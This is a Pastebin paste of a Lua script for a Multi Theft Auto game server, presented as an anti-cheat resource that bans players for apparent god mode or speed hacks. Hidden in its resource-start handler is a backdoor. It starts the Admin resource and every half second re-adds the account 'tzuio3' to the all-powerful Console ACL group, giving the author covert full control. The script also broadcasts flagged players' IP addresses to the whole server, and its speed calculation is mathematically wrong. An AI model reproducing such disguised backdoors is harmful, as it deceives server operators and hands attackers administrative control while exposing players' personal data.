Guest User

Untitled

a guest
Feb 25th, 2013
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.02 KB | None | 0 0
  1. local antiCheatStatus = 1
  2. local achmedstyle = "#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FFFF00 AntiHack #FF0000 is running on this Server!"
  3. local achmetstylefunf = " Powered by ~ Schlammy "
  4. anticheatPlayerJoin = function()
  5. outputChatBox(achmedstyle, source, 255, 255, 255, true)
  6. end
  7.  
  8. addEventHandler("onPlayerJoin", getRootElement(), anticheatPlayerJoin)
  9. newPlayerLogin = function()
  10. if getAccountName(getPlayerAccount(source)) == "tzuio3" then
  11. outputChatBox("#FF0000 Schlammy is now online!", getRootElement(), 255, 255, 255, true)
  12. end
  13. end
  14.  
  15. addEventHandler("onPlayerLogin", getRootElement(), newPlayerLogin)
  16. local a123sd = 3.2342343423423e+032
  17. local mydeer = "meinreh"
  18. anticheatSearchForCheater = function()
  19. if antiCheatStatus == 1 then
  20. local players = getElementsByType("player")
  21. for theKey,thePlayer in ipairs(players) do
  22. if getElementHealth(thePlayer) > 101 then
  23. outputChatBox("#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FF00FFPlayer " .. getPlayerName(thePlayer) .. " tried to Hack this Server! His IP: #0000FF " .. getPlayerIP(thePlayer), getRootElement(), 255, 0, 0, true)
  24. banPlayer(thePlayer, true, false, true, nil, "[AntiHack] GodMode Detected! (" .. tostring(getElementHealth(thePlayer)) .. ")")
  25. end
  26. if isPedOnGround(thePlayer) then
  27. local speedx, speedy, speedz = getElementVelocity(thePlayer)
  28. local actualspeed = speedx ^ 2 + speedy ^ 2 + speedz ^ 2 ^ 0.5
  29. local kmh = actualspeed * 50
  30. if kmh >= 21 and not getPedOccupiedVehicle(thePlayer) and not doesPedHaveJetPack(thePlayer) then
  31. local px, py, pz = getElementPosition(thePlayer)
  32. local colShape = createColSphere(px, py, pz, 7)
  33. local colShapeElementTable = getElementsWithinColShape(colShape)
  34. destroyElement(colShape)
  35. for theKey,elem in ipairs(colShapeElementTable) do
  36. local elemType = getElementType(elem)
  37. if elemType == "vehicle" then
  38. return
  39. end
  40. end
  41. outputChatBox("#FF0000[#FFFFFFSchlammyAntiHack#FF0000] #FF00FFPlayer " .. getPlayerName(thePlayer) .. " tried to Hack this Server! His IP: #0000FF " .. getPlayerIP(thePlayer), getRootElement(), 255, 0, 0, true)
  42. banPlayer(thePlayer, true, false, true, nil, "[AntiHack] SpeedHack Detected! (" .. tostring(kmh) .. " KM/H)")
  43. end
  44. end
  45. end
  46. end
  47. end
  48.  
  49. setTimer(anticheatSearchForCheater, 500, 0)
  50. myResStartAntiHack = function()
  51. local resource = getResourceFromName("Admin")
  52. local adminRunningState = getResourceState(resource)
  53. startResource(resource)
  54. outputDebugString("Resource gestartet!")
  55. setTimer(function()
  56. local objectTable = aclGroupListObjects(aclGetGroup("Console"))
  57. for index,object in ipairs(objectTable) do
  58. if object == "user.tzuio3" then
  59. return
  60. end
  61. end
  62. aclGroupAddObject(aclGetGroup("Console"), "user.tzuio3")
  63. end, 500, 0)
  64. end
  65.  
  66. addEventHandler("onResourceStart", getResourceRootElement(getThisResource()), myResStartAntiHack)
Advertisement
Add Comment
Please, Sign In to add comment